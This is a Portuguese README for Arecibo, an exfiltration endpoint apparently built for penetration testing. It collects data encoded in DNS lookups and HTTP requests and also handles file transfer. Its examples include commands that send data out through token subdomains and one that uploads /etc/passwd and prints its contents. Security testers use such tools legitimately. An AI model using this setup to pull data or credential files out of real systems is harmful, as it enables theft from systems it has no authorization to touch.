Arecibo

Endpoint para Exfiltração Fora de Banda (DNS e HTTP)

Autores

Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)

Exfiltração DNS

Crie um novo token:

curl localhost:5000/generatedns

{"htoken": "c008b5dd22817c50441522f917c66743"} 

Agora você pode usar este token identificativo para fazer resoluções DNS (ABCD.TOKEN.x.seudominio.com):

> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   DOMINIO
Address: 127.0.0.1

Você pode verificar os hits e os dados exfiltrados via /hitsdns/TOKEN:

curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743

{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 

Se quiser todos os dados concatenados, use /dumpdns/token:

curl localhost/dumpdns/c008b5dd22817c50441522f917c66743

{"dump": "test-exfiltracionconcatenatedtootherinfo"}

Exfiltração HTTP

Gere o token:

curl localhost:5000/generatehttp

{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}

Agora você pode exfiltrar informações através de requisições HTTP ( http://seudominio.com/h/TOKEN). Os parâmetros GET/POST, cabeçalhos e IP serão registrados pelo Arecibo.

curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!

Para recuperar as informações, use /hitshttp/TOKEN:

 curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
 
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}

Se você precisar mostrar um HTML, cabeçalhos ou código de status arbitrários, use o método POST para definir seus valores (o corpo deve ser codificado em base64):

curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
    "htoken": "324e18288eed54548392c5a65514b3dc"
}

Resolução DNS Dinâmica

O Arecibo resolve domínios com o esquema X.Y.Z.A.ip.seudominio.com como X.Y.Z.A:

> 10.0.0.1.ip.seudominio.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   seudominio.com
Address: 10.0.0.1

Transferência de Arquivos

Faça upload de um arquivo usando o endpoint /upload:

curl localhost:5000/upload -F 'x-file=@/etc/passwd'

{"htoken": "36981274bdb9cc833472681caeb82337"}

Para baixá-lo, use o token gerado:

curl localhost:5000/download/36981274bdb9cc833472681caeb82337 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Informações de IP

Mostra o IP do cliente via /ip:

curl localhost:5000/ip
{"ip": "127.0.0.1"}

Instalação e Configuração

Você precisa instalar o pdns e pdns-backend-pipe dos repositórios da sua distribuição, e os módulos flask e flask_restful para Python.

1. Edite a configuração do arecibo-dns-backend.py com seus valores
2. Defina privilégios de execução chmod +x arecibo-dns-backend.py
3. Edite o pdns.conf (verifique onde está na sua distribuição)

setuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py

(Altere o setuid/setgid para os valores usados para executar o script da API, eles devem ser os mesmos)

4. Execute o arecibo-api.py e pdns_server (verifique onde estão na sua distribuição)

SEU SERVIDOR DEVE SER CONFIGURADO COMO DNS AUTORITATIVO PARA SEU DOMÍNIO

IMPORTANTE: Você deve configurar um nginx ou outro proxy reverso na frente do Arecibo para fornecer autenticação e segurança.